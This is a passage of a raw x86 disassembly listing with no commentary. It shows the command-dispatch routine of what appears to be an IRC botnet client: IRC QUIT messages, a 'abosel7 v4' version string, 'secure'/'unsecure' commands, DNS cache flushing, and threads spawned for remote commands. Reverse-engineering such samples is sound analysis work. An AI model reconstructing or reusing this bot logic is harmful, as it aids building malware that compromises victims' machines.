CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42C524 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset sub_411796 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h call dword_427078 ; Sleep jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C4E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call sub_41B779 test eax, eax pop ecx jz short loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax call dword_427074 ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C4AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h call dword_427078 ; Sleep jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C470 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset byte_43D7E8 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C434 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset sub_410A4D push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h call dword_427078 ; Sleep jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C3F8 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CB550 cmp eax, ebx jz short loc_403F42 call eax ; DnsFlushResolverCache test eax, eax jz short loc_403F3B push offset unk_42C3D4 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42C3A8 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42C37C loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42C358 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42C32C jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42C314 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42C2F8 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42C2CC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42C2A4 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42C284 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh call dword_4270A8 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42C26C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42C24C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42C22C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42C208 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h call dword_427078 ; Sleep jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C4] push offset unk_42C1CC push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42C1B0 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB6CC ; closesocket call dword_4CB58C ; WSACleanup call sub_418359 push ebx call dword_427064 ; ExitProcess loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42C194 jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42C178 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_4 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42C160 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset sub_41528D push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h call dword_427078 ; Sleep jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C128 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42C110 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42C10C push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42C0EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_40B161 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h call dword_427078 ; Sleep jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C0B0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42C098 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CB374 call sub_41A88B pop ecx push eax push offset unk_42C06C jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42C01C call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42BFE8 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42BFD8 push offset dword_42BFC8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42BFBC push offset dword_42BFAC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BF84 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset sub_4111CD push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h call dword_427078 ; Sleep jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42BF48 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF1C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset sub_40E503 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h call dword_427078 ; Sleep jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42BEDC jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42BEA8 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h call dword_427078 ; Sleep jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42BE6C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42BDBC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BDAC jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42D084 push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42BD80 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42BD54 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42D084 loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42CFF8 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx call dword_427064 ; ExitProcess loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CEDE8, ebx jz short loc_404A4A 